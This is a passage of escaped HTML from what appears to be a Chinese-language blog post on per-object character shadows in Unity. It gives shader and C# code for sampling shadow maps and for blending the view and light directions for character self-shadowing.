xMin\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// y: xMax\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// z: yMin\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// w: yMax\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003enew\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nf\"\u003eVector4\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003etilePos\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ex\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etilePos\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ex\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etilePos\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ey\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etilePos\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ey\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003em_ShadowMapSizeInTile\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3 id=\"Shader-代码\"\u003eShader 代码\u003ca class=\"headerlink\" href=\"#Shader-代码\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h3\u003e\n\u003cp\u003e一些工具函数。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"kt\"\u003efloat4\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eTransformWorldToPerObjectShadowCoord\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003efloat4x4\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eshadowMatrix\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat3\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003epositionWS\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nb\"\u003emul\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eshadowMatrix\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat4\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003epositionWS\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e));\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ePerObjectShadow\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eTEXTURE2D_SHADOW_PARAM\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eshadowMap\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003esampler_shadowMap\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat4\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eshadowMapRects\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat4\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eshadowCoord\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eShadowSamplingData\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eshadowSamplingData\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003ehalf4\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eshadowParams\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003ebool\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eisPerspectiveProjection\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eshadowCoord\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ex\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eshadowMapRects\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ex\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e||\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eshadowCoord\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ex\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eshadowMapRects\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ey\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e||\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eshadowCoord\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ey\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eshadowMapRects\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ez\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e||\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eshadowCoord\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ey\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eshadowMapRects\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ew\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 超出阴影图范围,当作没有阴影\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eSampleShadowmap\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eTEXTURE2D_SHADOW_ARGS\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eshadowMap\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003esampler_shadowMap\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eshadowCoord\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eshadowSamplingData\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eshadowParams\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eisPerspectiveProjection\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003ch2 id=\"场景采样角色阴影\"\u003e场景采样角色阴影\u003ca class=\"headerlink\" href=\"#场景采样角色阴影\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003cp\u003e直接遍历一遍,全部采样。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eMainLightPerObjectSceneShadow\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003efloat3\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003epositionWS\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eShadowSamplingData\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eshadowSamplingData\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eGetMainLightPerObjectSceneShadowSamplingData\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003ehalf4\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eshadowParams\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eGetMainLightShadowParams\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eshadow\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003efor\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mo\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003e_PerObjSceneShadowCount\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat4\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eshadowCoord\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eTransformWorldToPerObjectShadowCoord\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003e_PerObjSceneShadowMatrices\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e],\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003epositionWS\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eshadow\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nb\"\u003emin\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eshadow\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ePerObjectShadow\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eTEXTURE2D_SHADOW_ARGS\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003e_PerObjSceneShadowMap\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003esampler_PerObjSceneShadowMap\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003e_PerObjSceneShadowMapRects\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e],\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eshadowCoord\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eshadowSamplingData\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eshadowParams\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kc\"\u003efalse\u003c/span\u003e\u003cspan class=\"p\"\u003e));\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eshadow\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003ch2 id=\"角色自阴影\"\u003e角色自阴影\u003ca class=\"headerlink\" href=\"#角色自阴影\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003cp\u003e角色自阴影比较特殊,如果直接用光源方向绘制阴影图的话,在特殊的光照角度下会出现很丑的阴影和瑕疵。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"常规方案的效果\" src=\"../../../obsidian-vault/attachments/Pasted%20image%2020240714171505.png\" /\u003e\u003c/p\u003e\n\u003cp\u003e我观察了游戏里自阴影的效果,发现他们使用了视角和光源的混合方向绘制阴影图。我模仿他们设计了下面这个算法\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"c1\"\u003e// 混合视角和主光源的方向,视角方向不用 camera forward,避免转动视角时阴影方向变化\u003c/span\u003e\n\u003cspan class=\"c1\"\u003e// 直接用向量插值,四元数插值会导致部分情况跳变\u003c/span\u003e\n\u003cspan class=\"c1\"\u003e// 以视角方向为主,减少背面 artifact\u003c/span\u003e\n\u003cspan class=\"n\"\u003efloat3\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eviewForward\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003enormalizesafe\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eaabbCenter\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ecameraPosition\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"n\"\u003efloat3\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eforward\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003enormalize\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003elerp\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eviewForward\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003elightForward\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e0.2f\u003c/span\u003e\u003cspan class=\"p\"\u003e));\u003c/span\u003e\n\n\u003cspan class=\"c1\"\u003e// 超低角度观察会出现不该有的阴影\u003c/span\u003e\n\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ecosAngle\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003edot\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eforward\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eargs\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eCasterUpVector\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ecosAngleClamped\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eclamp\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ecosAngle\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"m\"\u003e0.866f\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 限制在 90° ~ 150° 之间\u003c/span\u003e\n\u003cspan class=\"n\"\u003eforward\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003enormalize\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eforward\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ecosAngleClamped\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ecosAngle\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eargs\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eCasterUpVector\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\n\u003cspan class=\"n\"\u003elightRotation\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003equaternion\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eLookRotation\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eforward\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ecameraUp\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"n\"\u003elightDirection\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efloat4\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003eforward\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003e同样的视角和光照角度,效果比刚才好多了。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"星穹铁道方案的效果\" src=\"../../../obsidian-vault/attachments/Pasted%20image%2020240714171941.png\" /\u003e\u003c/p\u003e\n\u003cp\u003e采样的时候需要一个 \u003ccode\u003ecasterId\u003c/code\u003e,场景里每个角色实例的 \u003ccode\u003ecasterId\u003c/code\u003e 是唯一且不变的,由 C# 代码设置到角色的材质上。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eMainLightPerObjectSelfShadow\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003efloat3\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003epositionWS\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ecasterId\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eShadowSamplingData\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eshadowSamplingData\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan 